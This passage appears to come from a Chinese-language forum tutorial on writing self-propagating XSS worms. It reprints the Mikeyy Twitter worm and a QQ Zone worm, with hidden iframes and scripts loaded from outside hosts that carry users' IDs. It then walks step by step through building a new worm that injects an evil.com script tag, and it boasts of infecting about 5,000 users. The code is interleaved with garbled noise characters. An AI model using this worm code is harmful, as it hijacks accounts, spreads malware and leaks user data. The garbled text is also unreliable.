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3 ~ `8 Z" n% J# B9 { 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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8 @5 C( s% M* a/ u 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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5 {+ |1 O9 F1 J3 h- D 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; 0 F0 r7 m3 k! _2 d# z. A& }
- G1 S3 d( ?8 W* B+ w9 O 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; # C8 P" D; R0 W q
/ ^% C6 j6 T9 ]4 F9 U# \ 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; ; Z% }( [2 k. x' W" \2 v$ U1 A
, ]% C& U6 y# b 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; % u2 @ u Y' m) B
! g @5 P/ C" Y" d8 ` 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; % M, f7 M6 R. T+ u1 g, u8 k
: s* `, b4 d9 c' V2 j2 _, `7 G 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; % ^! J0 e5 U- \9 ?/ {
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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( M* ?6 L9 U1 Y/ e) L5 s, a 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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' N+ F3 _/ W; u9 Y' ^) _! [& w' F 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; 9 O8 s6 ]8 {. z/ x; K% {
% u, }2 [4 l2 H3 p+ w 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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6 i" x" B. ~6 K# m+ M& | 24. + E, `# j* O' g- S+ i
1 M5 D. Y% D9 ~9 G$ @$ q 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; - U4 K5 y x. T) K
5 ^3 ^) q7 j3 ]2 R 26. var updateEncode=urlencode(randomUpdate[genRand]);
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}6 T# s' v7 @+ t0 B% o7 m 27.
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- g7 L4 A7 p0 Z+ p 28. var ajaxConn= new XHConn(); 0 }4 I" @% W- t1 Z/ B
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); ; G6 z* w! K6 B! ?: ?
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30. var _0xf81bx1c="Mikeyy";
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) a. N7 E* O* H3 ` 31. var updateEncode=urlencode(_0xf81bx1c); , w' j# Z' o% P7 H
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32. var ajaxConn1= new XHConn();
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); - n* p( F4 C9 N& j
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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V! @* v8 p6 ? 35. var XSS=urlencode(genXSS); + e- I/ N ~. W2 U4 d) X
1 G3 H; C4 z+ p1 h% a4 b 36. var ajaxConn2= new XHConn();
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9 P; p2 \* _5 `- {. E, I0 n 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); 2 Y4 w1 [, p K. g% `: A- _2 a) W4 {$ `/ P
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40. setTimeout(wait(),5250);
/ W2 g+ x3 w3 S* P, ]. [& Q/ y0 P复制代码QQ空间XSSfunction killErrors() {return true;}: Y$ x& A! C, D- u1 l7 O2 T5 M, [, W. z
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window.onerror=killErrors;
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& P5 @1 x$ e; Tvar shendu;shendu=4;( c0 E$ _+ S# m6 } H
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//---------------global---v------------------------------------------: O) C- \ V; M9 Y2 v- u5 C
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?: U- X$ X9 R5 e v- G, G; ~$ l
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";) c1 v: R, j. F7 P1 ~6 ? W- [1 H
: z9 E6 w6 n5 O6 L# F* g1 evar myblogurl=new Array();var myblogid=new Array();1 r6 u% I2 q$ E0 O/ B/ x5 R
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var gurl=document.location.href;' ?+ _; A h1 y) [! G7 G8 P
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var gurle=gurl.indexOf("com/");) ]/ p+ I2 }- z/ ` Z" @
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gurl=gurl.substring(0,gurle+3);
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% o3 d U% ? r8 n+ p# `. J8 N var visitorID=top.document.documentElement.outerHTML;
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. U( S2 x7 u, `; _ var cookieS=visitorID.indexOf("g_iLoginUin = ");
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2 q3 [. v/ q0 f0 Z! \1 k$ | visitorID=visitorID.substring(cookieS+14);
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cookieS=visitorID.indexOf(",");
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visitorID=visitorID.substring(0,cookieS);" E, c5 r; K! q, l9 D. h, o1 _
3 b- U8 N. [) F- @ get_my_blog(visitorID);
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DOshuamy();2 ]2 ?6 u% k0 M2 q" d4 c+ q$ i
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//挂马& |6 F* x: q' L$ H
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function DOshuamy(){
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- |# V' `; M! A( H4 Z1 J9 {var ssr=document.getElementById("veryTitle");4 h4 p, y" n" m9 |& P1 B* X
# q% K& Y' U3 N* D$ \" r+ Mssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");4 Z7 d# N3 }( I/ J
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3 o6 a/ g' ]' T# j. K, a//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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B% o# T- w" Y+ jfunction get_my_blog(visitorID){; x# J5 ?! P" ^5 r
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象+ ~) r( L0 ?9 s0 l8 F- e3 z
/ n7 U4 s+ h! A, F if(xhr){ //成功就执行下面的1 U0 `0 r1 @; ^
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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: w9 o7 h+ L, f xhr.send();guest=xhr.responseText;
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9 v$ {6 b, R9 L& Q' T3 V5 m- B get_my_blogurl(guest); //执行这个函数: d% z" o: u" p% z8 c7 t
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}
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% J% P( E5 p2 v//这里似乎是判断没有登录的3 p3 G9 s$ |; O5 i1 f' e9 n
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function get_my_blogurl(guest){ T8 u1 c6 a J& u' d6 d
. ?3 V7 l- c9 g% _/ A) c var mybloglist=guest;
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var myurls;var blogids;var blogide;
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( L @, z9 @: w3 i for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了0 l6 _9 S/ z+ X5 p3 Y$ `! L7 v
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if(myurls!=-1){ //找到了就执行下面的
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# \) C/ ?+ f5 D mybloglist=mybloglist.substring(myurls+11);
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8 I1 B& b- x# X9 c5 M! h5 i myurls=mybloglist.indexOf(')');# ]3 u0 U# q, m
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myblogid=mybloglist.substring(0,myurls);9 l# D' P+ j8 V* c. A0 h
7 J3 q% q& }, ?' x0 D }else{break;}$ d4 D. \$ D; A" _3 c2 `
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get_my_testself(); //执行这个函数0 w' d1 M0 G0 X7 Y B: D$ Y/ M
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. @3 C; p0 g% g" {. L& d//这里往哪跳就不知道了
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( B+ A& U0 _! H$ N ]0 c& xfunction get_my_testself(){
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n# p3 U' x( s for(i=0;i<myblogid.length;i++){ //获得blogid的值
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$ v- ]4 j$ }5 ]" p# s8 t7 _% p var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
0 [ {# `, h1 H7 R0 } E, m& z. p" U! U$ _; f! [( q
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
. w- t. H; e. h5 i5 J: ^& R W) g: p; a2 A0 w4 R
if(xhr2){ //如果成功: W2 |/ U: @; [- O) s$ Z
7 `3 P, _! B9 A7 g# W0 p5 `
xhr2.open("GET",url,false); //打开上面的那个url
" m* F% J* {" w! \. |
4 {# c2 J, `) t* E xhr2.send();
0 a! P4 ^5 w' ^6 ^; M8 B1 r H
8 @( j9 B; p- {+ O, _) w guest2=xhr2.responseText;
7 W" E @% d3 u$ k' ` B% f. `7 l4 o D3 B5 x
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
$ {1 d5 P1 J1 k4 I4 M
! H: ~. y4 X. c2 `/ P var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
9 ?2 f$ B! }# `' e
1 S) R- O+ o+ q; m1 N, m if(mycheckmydoit!="-1"){ //返回-1则代表没找到
9 S( K) S3 n8 H/ W! v
: h+ x D4 x" N1 e8 r; g+ F+ m1 D1 V targetblogurlid=myblogid;
! r6 C! R" m: g# t* r5 `3 d o4 y- q% c0 X% [& |$ }
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
# ?! h5 T/ n( B- o N
a3 |3 H' h6 M break;
) f1 J$ d7 h$ r$ h% S
6 S- h! e7 y6 c0 Z4 h6 A- Q& u }/ I' l G# U9 H" o# \$ x. n
) ] z. y" o& ]" S% N6 e0 |. ]" r5 H
if(mycheckit=="-1"){
$ o% P8 l3 u' ?
: w8 L; J1 ?+ j$ e9 _ targetblogurlid=myblogid;
; o/ F7 I: N7 }" M/ k2 r6 X; i8 C1 `5 C6 @
add_js(visitorID,targetblogurlid,gurl); //执行它* G$ p5 b2 u' C( Q: E5 K+ t
5 q4 z0 u! X7 y3 Q# E# K! t6 u break;, W2 G d- _/ U* q
. ?- d7 B" I& ?6 u/ x( |
}
3 F5 }/ Q/ f4 `# Q- j+ K$ c4 O$ }+ R0 \
}
( ]5 q9 S [ B
: \ _9 m0 V5 l$ d) d}
: F+ H! O1 B. m3 E3 j/ ^/ L
9 t; m( C! h( {. ~}
" s* Z8 K1 z1 h# S5 Y3 G" }( i
4 X; ?1 f' K1 u
& E' H7 }0 `2 U8 p: m- T2 X' q7 F, S( \
//-------------------------------------- h& c9 T, f& x) `& F. M7 [6 v+ r& V
6 o! Y' `, w7 X: d
//根据浏览器创建一个XMLHttpRequest对象
1 n* \/ |0 z2 R. k! j0 h4 U5 ]9 E: }9 ^5 {
function createXMLHttpRequest(){
. [$ N0 e" N0 j& Y3 l
* J0 z2 o! v1 f8 g; Y var XMLhttpObject=null;
1 C3 D3 j- O* S7 C1 d; b6 U3 Q6 J2 a9 r% t% U! ^8 t
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} ( o# `' M; l% Q& U, [
" F$ f( C" v f4 Z$ s/ @
else
0 ?, |& y% K( z' {6 ]% C- ?$ w5 ?4 @2 Y1 o$ F0 H( b" X: q! [
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
4 N0 Z1 b0 T# m0 J: |
% g! T2 ^* C# ^% z- c for(var i=0;i<MSXML.length;i++)
# T7 e$ l% t3 S T& `( }* z, \- z0 L# k* U' Z( y' K' O
{
; [" M: @: g! ~ B
( g, h$ H3 d7 m) V/ a$ f try
7 o& a/ V5 t% J1 ?' u# j9 C5 V8 `0 A P {2 P3 f; t
{
* u) f9 T& {5 o( f* c4 `1 I! e3 P/ f* N
XMLhttpObject=new ActiveXObject(MSXML);
/ g. V( v9 m6 Q+ T3 x, `, i" j7 N. {* M" J- ?
break; ( b! Z4 n2 ]0 t+ J0 r
: B, N) q" s- {6 ~* b6 w3 Q' E j
} ! B$ g0 F; L& f. P! o. o8 y: t
! e4 L w! M# f5 t
catch (ex) { ) f* S {# _# g5 p2 C
- c) Q! F, d8 w9 r* d# G% ~
}
9 a* m, B+ X) g. W0 |$ [* f, a! p5 N/ t# ^, _
}
! l* K9 N2 c" ~; ?% _7 f# j
( M3 [" }) {2 Y, _2 K' |4 F }1 v7 g$ |8 g3 A& j3 M* G2 m
& ]0 e+ C: M, W% C* I3 Q, g7 l
return XMLhttpObject;1 @. d# J; L3 Q4 b9 W
$ R- e; s5 F* L: k
}
$ o% o4 p4 m* A3 {6 g& b0 R; R% o
% _- ~5 a, t, [6 y1 j" q1 Z
' B T* y$ [4 P2 y
% X( z; P: ]+ t+ g/ `( A6 v//这里就是感染部分了7 Z) w1 W+ J# ?& k3 o4 Y, S
1 B5 P. r# W( _% U* K8 K
function add_js(visitorID,targetblogurlid,gurl){1 u S: q9 J, f" k/ S
) L* i, ^$ w& ]$ U4 Z( w: m* lvar s2=document.createElement('script');
- s0 i' W9 \8 k( _' b) R4 j+ |' t5 u3 o* M* G. \
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();1 |. ~% G' P! s e2 C- L
% c; y3 T' `2 G/ B# m$ }+ d4 d* us2.type='text/javascript';
, e/ j: f* v9 {4 @2 ~- y7 h
& N) f0 z5 R" [9 Rdocument.getElementsByTagName('head').item(0).appendChild(s2);
# U9 B; b* V/ ^( `
8 T3 M V- h( f3 x& w9 l}
8 X: B6 Q( c* @& I* o; F, Z
' G3 E J5 G w# s% g X4 c: n9 Y/ c8 B2 x$ H. l
' b) k8 X7 ?# m& V! W5 l: h
function add_jsdel(visitorID,targetblogurlid,gurl){+ B {* _8 r9 b, a' D% N% m
+ d5 _% F( d6 r- C: ?
var s2=document.createElement('script');
# e* p* p# ]- i. L& b' R: L }; A
5 A- s4 G$ P* Fs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
% ] S& U8 O" C1 t, i4 S4 ?' K$ h5 U5 ]6 g' P. n- y/ G6 i
s2.type='text/javascript';4 e) B7 f1 P0 D" \5 S! Y }9 H
0 I9 N7 S/ N: x& Y; k+ T/ X
document.getElementsByTagName('head').item(0).appendChild(s2);$ Z, ~) J, ^+ A1 K
3 i& _4 N! e/ b6 s, q- c2 D}
{, [ f; L" D. x" H* Q复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
2 y5 W2 l( }% E+ z' t4 h1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)( W0 ^' \* a3 ?
: Y& j7 Y4 M2 W p, C- ^- J
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)) h: i3 @, c$ }9 P" C4 u2 S
7 L% Z) {4 p) {3 ?5 X" Y综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~# }' y' {6 V1 j8 g
& L& G2 R: i* ?; w3 P) g0 j2 ^6 T6 U9 ?" `/ ?7 A
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.5 l9 m5 ? c, h% C
0 M( Z6 s. y2 L; t" v3 d首先,自然是判断不同浏览器,创建不同的对象var request = false;
, n: _/ P- F3 T* Q8 u" b/ e! q
$ U( @( c- s" ?5 O1 h2 |! F! M- Eif(window.XMLHttpRequest) {
7 E( b: U; }7 y- u4 G+ f
$ `/ M; g+ `" wrequest = new XMLHttpRequest();
4 T* W5 e: H* G/ u4 H2 o) G8 \
2 l) B& s: W) E/ \3 i3 w3 aif(request.overrideMimeType) {
. C4 o. |) p4 y* K- ?
& A) q" `- s8 c& n7 prequest.overrideMimeType('text/xml');3 l+ g" x! M% c. j# e: M+ A: ~
6 v' `2 B- _9 _. _+ X+ f}$ [) [& z% @2 L/ ~- W
7 e, h b1 Y$ ^
} else if(window.ActiveXObject) {: w p, R' p* `) Q0 n* e
; D1 n7 y. a+ g# Q( b1 Bvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
; P/ y4 P" J7 [$ ` @5 n; q% N2 @0 A N' l" F: H& D
for(var i=0; i<versions.length; i++) {5 Y2 `- Y2 Y) }
) o* r/ Q3 Y9 ~9 P$ Stry {
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request = new ActiveXObject(versions);
! z/ @' b% Q- F, P! k" @ h( U
0 k" Y1 O2 K9 d2 d1 ^$ F} catch(e) {}
- o1 u( Y" L6 ~4 f
) L2 q z# \5 {' I5 X( ^( \) L3 u4 L}2 v/ e5 L/ z( z S
( x0 s8 g$ [ x& u
}
# F# ]# o$ ~' P5 v, r' r% U+ G6 ?
xmlHttpReq=request;0 Y2 N4 Z$ z6 q; |6 ?2 \/ k
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){! O8 U6 d4 U6 ^
9 {5 l4 Q2 G* h# K1 \% m; C5 r% X var Browser_Name=navigator.appName;( P2 q; x7 x% M2 t- G4 d1 B) h1 U
6 f; f: B: g8 p: ]! ~: M
var Browser_Version=parseFloat(navigator.appVersion);+ @6 {' k4 @$ b* M7 C
w) k* E) R& B8 m8 h( s var Browser_Agent=navigator.userAgent;5 C: H) ?% X4 l' A4 i
; s) L2 ^8 G% o# v6 q- G
' D" h) n, l% q
7 k/ m1 {0 _, |; X" d2 @7 n
var Actual_Version,Actual_Name;7 ~( l- t2 a" m/ u" H* o
: p2 N2 s, {& K' [3 Q1 c
8 N3 I$ V! [9 z
: j; u. E. m) ^. B; k1 O. l/ Z6 U var is_IE=(Browser_Name=="Microsoft Internet Explorer");6 P- D+ ~3 J0 n4 x
3 w: I# _& u6 h$ z! F var is_NN=(Browser_Name=="Netscape");; r( C/ W6 D$ Y; b6 u
% V0 ~! S4 I" g2 g" ]
var is_Ch=(Browser_Name=="Chrome");
' w. {8 V' O! L2 [7 a. z
: q& V9 P9 u; [$ _ 7 F, A2 {) w/ k$ F) y
( \, \, j! ~; A+ w U
if(is_NN){
/ _/ c$ A/ v! A$ ? o" L
6 P1 z7 G+ ?2 ]: H4 L if(Browser_Version>=5.0){1 Z7 I: B8 G( t
. M$ [4 m; \8 W( v0 C# c var Split_Sign=Browser_Agent.lastIndexOf("/");
4 A3 |$ j2 q' x! {1 |* Q
$ j& t0 F# o1 o/ B; ~: u: q8 O3 A. g5 y var Version=Browser_Agent.indexOf(" ",Split_Sign);
) T7 c; ~& W$ g4 e+ ^9 j+ A$ a6 `5 k: U2 ?% E( @
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
+ S( s# E. q* j4 D( J9 \' x
6 C% G% t5 }0 B% Y4 `1 i# f8 y5 q) [
6 h" h* d9 v4 y# x( B k7 d& W$ @
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);8 E2 P) \8 B& v* d
" m e) C! k/ c! X6 g Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
1 L+ c7 u8 ]0 R5 e1 J: {! n( @) F! a' p
}
E" n6 ~) ^* T5 n2 O. p( a: {2 f( d
- H/ Z0 J9 O% k. W" @* r else{) W. o/ R' K1 m* m2 M# b
: C) s) m5 r7 }, k0 m" U6 C
Actual_Version=Browser_Version;) {/ p6 J! t; Z. T% s) X1 O8 ]4 [
0 P O4 ?! a: W& M) `. u/ c Actual_Name=Browser_Name;
6 y, R3 O( `' ]1 M* h- b
4 [6 h( g3 Y) l }
5 \6 B% [9 V5 K" f
' y$ b: ~" I( H7 ^; u }" Z. h# N. {6 Q1 x
% @& Z8 c4 c j8 w' [
else if(is_IE){
2 _' P! m! R3 ]
( n" _( j# T' I* A( Q' [ var Version_Start=Browser_Agent.indexOf("MSIE");
. m# [" U( h; o* D
5 P: M2 c# B5 m; y var Version_End=Browser_Agent.indexOf(";",Version_Start);. `* k2 t& b- W0 T
1 D3 I* i) x! B8 z2 C9 C Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)7 [7 l) U) N" V* e
1 X' n7 p; S4 R9 Z* }$ ?: O Actual_Name=Browser_Name;8 n; `6 p0 Y, _! @! B0 K5 Z
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+ Y0 Y) g' U$ I. ?
! d" {9 P& a) T) }0 ~/ w) b
if(Browser_Agent.indexOf("Maxthon")!=-1){
6 b4 t- t3 R& e
9 i5 k2 f' ^% T# N# ?4 f Actual_Name+="(Maxthon)";
: q. p- `. ]( r$ T$ E0 }
+ X4 I3 B2 p1 \2 r+ K }
5 a i& `; ~8 K: f* ?, N$ Q- B0 J0 U, ?5 ]+ x* A2 E3 h" r8 ]
else if(Browser_Agent.indexOf("Opera")!=-1){
" A# I- F% A9 q$ ~; N
8 a3 q8 {' [6 ]" X( a0 V+ v Actual_Name="Opera";
x+ C) r% H/ g5 z* s
$ k* q" Y+ E6 g3 z* P! H' Y var tempstart=Browser_Agent.indexOf("Opera");
- P* e) T* Z) m8 m5 l! l1 ]
, A# I( Y" `. `- F var tempend=Browser_Agent.length;
" E, i8 k. B3 t) V+ O$ H D' T
! f+ x c {( h5 G. Z* ` Actual_Version=Browser_Agent.substring(tempstart+6,tempend)3 ^! b c2 G' C- N
( ?8 T1 C6 x" k
}
( }: } _" c+ [ d: c: E
% j+ ^' i1 t5 L6 A) Q1 o9 f9 x! S }
9 j0 n0 L! Z2 D+ R- ^1 X! I( X( Y3 w/ P, N7 p. P
else if(is_Ch){
7 Q9 W/ \! E5 U2 o0 n6 }6 @5 N* R i5 W
var Version_Start=Browser_Agent.indexOf("Chrome");
& L( t% G3 ]3 c1 U1 J, g
& K. G9 P' J4 Q var Version_End=Browser_Agent.indexOf(";",Version_Start);
' m4 n. `' Z& n2 G1 y% \3 q) y
2 d, C8 b8 ]7 ^* o* R Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
5 _1 B9 {9 A. R3 {$ W# k6 k2 Q% ^1 C8 A O
Actual_Name=Browser_Name;
6 `& G- H1 Q- a; _) s, N; ^$ W1 y1 ^1 U, X) n$ a0 ^1 L' U' T
+ V: M6 h4 m. K8 P/ B9 G2 i t
0 q, M4 U( W/ @- U if(Browser_Agent.indexOf("Maxthon")!=-1){; R, V: E- l9 n8 p/ s n. t
- @. H; ?9 G0 P$ x0 g
Actual_Name+="(Maxthon)";
1 g3 l8 _" N0 e& K8 @, L$ }2 ?6 c9 x; ?# g) m
}, O+ A& H" m2 n% p. k C
3 f4 c: f/ J# z3 s! l
else if(Browser_Agent.indexOf("Opera")!=-1){
" Y; V/ ^$ A! F2 j! n+ z' |" i# a( G- K" ?( L
Actual_Name="Opera";8 S" K! b7 y- d7 r' H+ |/ t
9 l2 j D3 }+ w& \8 y
var tempstart=Browser_Agent.indexOf("Opera");1 Y4 W# _9 h2 E/ _9 H' M: C
1 a1 r% F: M, V: E var tempend=Browser_Agent.length;
8 g, a/ q: {3 C8 _3 z+ u, b, `6 Q; n
% P# ~( F4 }8 X4 j0 d( o Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
7 P# B, T/ C" K: ]! G+ G' ~% G* _5 r7 i( h2 l% m
}
9 f9 _" O- \- j. w- _- i! R/ d7 {9 ]1 @7 ~
}: j, [* w+ p$ q0 o$ j
4 C* e8 e4 @9 u, Q7 U) x, t
else{
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Actual_Name="Unknown Navigator"! [) i* X' k3 F3 @8 ]
5 L4 C. e8 f% W& ]6 `0 u Actual_Version="Unknown Version"7 D, t2 N" E& S8 j: o9 o0 ]. b! _
4 r' N& D; @7 s7 M
}
! h7 g8 {& n2 s* v& d/ d; s; C" D* S. w+ ^' u
/ Z2 }+ K8 p' x4 E9 D. {, x# c, r# m/ l* q, k y% A
navigator.Actual_Name=Actual_Name;
' v7 ^; r+ b$ G' h5 i- ~
( z+ c G) h& w' D) g+ U% u+ Y" z6 j navigator.Actual_Version=Actual_Version;# O6 Y K) w% i3 C( q6 m, g
8 b- {" a# T6 r2 N2 T8 X ( {5 Z& I8 |8 X4 F# U4 l5 s& j
9 \8 c, i' y3 P% T this.Name=Actual_Name;
. ~4 N( |0 g- V. A2 t/ C: Q; z
( ]* H) n8 M1 d2 _; P( n this.Version=Actual_Version;
X( m! W+ d4 k; J+ k3 N& G
8 O2 n8 N5 |: r w# N- L! O+ u* z }, C/ v, X, w, ]/ j
& q/ J# Q, e0 k1 Q& u1 q browserinfo();5 u6 I, c+ q+ X% p# u1 w
4 V1 X2 e5 A' ]. S4 W# ~/ Q$ _. p if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}1 V' \+ ?6 Q8 a6 X6 L8 x2 _# r
2 e2 Y1 v; j+ f1 ]: G3 o; v
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
. e n7 s* B; c x T# {: V2 M
: N4 |1 o5 b; A) s+ S2 r7 }/ q% N+ O if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}. l2 S$ N& I2 i6 @. Q
! U" Z: B/ v2 J: V
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
) k( u! m; e2 \6 t2 o7 t( Z, J# c2 L复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码7 }! f8 a+ V/ P! q2 B" ~8 j% b5 |' R
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码% y" c, y; g% ]! v: R
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面., x* n2 x/ ?1 T$ [7 `- {
0 g2 O' C4 N/ t2 d* m9 j0 @$ P- L4 \xmlHttpReq.send(null);- ~0 S' F3 ^$ k7 h
8 \8 [6 v% U6 I4 C6 Q
var resource = xmlHttpReq.responseText;
0 `4 G2 d" d! q; S5 B4 P( v* P- t$ t: {$ y
var id=0;var result;5 ^. b' d) y- c. Q
0 {; t# ?+ u; \) ~" `7 D! l! _- bvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.- G2 N" n. m. ^3 ^1 J
: Z! @& E8 S7 D3 c6 J) p- e
while ((result = patt.exec(resource)) != null) {
+ H1 s8 B4 k. V+ }
# [/ ]$ g' n5 @7 l$ j/ D( eid++;% |3 R) m' J! `: T! R7 O& B
6 m9 {! ~3 C+ R: p0 F/ Z}
|& F2 H# |* ^" r" {: ? w复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.- r) g( r% N) z! f1 y
L0 [: V+ o W/ r* e; _no=resource.search(/my name is/);$ x( }. q# z2 B" a- W$ G
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.6 j" o" r9 T# } A: A
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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+ D1 ~- G* i# E" H' j, t; |xmlHttpReq.setRequestHeader("content-length",post.length); ) ?1 H+ K/ O* w
- V+ @5 o/ e( _xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");8 Z) x$ Y b) x; z) i! A) h
* J8 R/ W0 ^8 n! h" hxmlHttpReq.send(post);/ ] i4 n) c! |) ?" l( L
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1 B! r" S8 F' t8 V复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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$ H! Y8 \$ J9 v2 _! c3 \* P! Yvar post="wd="+wd;
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);' G# }3 L2 h) W* W3 }9 A
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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* [7 c; c9 f3 C. rxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post); //把传播的信息 POST出去.
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.+ A7 i6 ?$ v4 z8 B* ~* G
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.# T0 X$ d: P: _1 \6 `' `% B, M
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
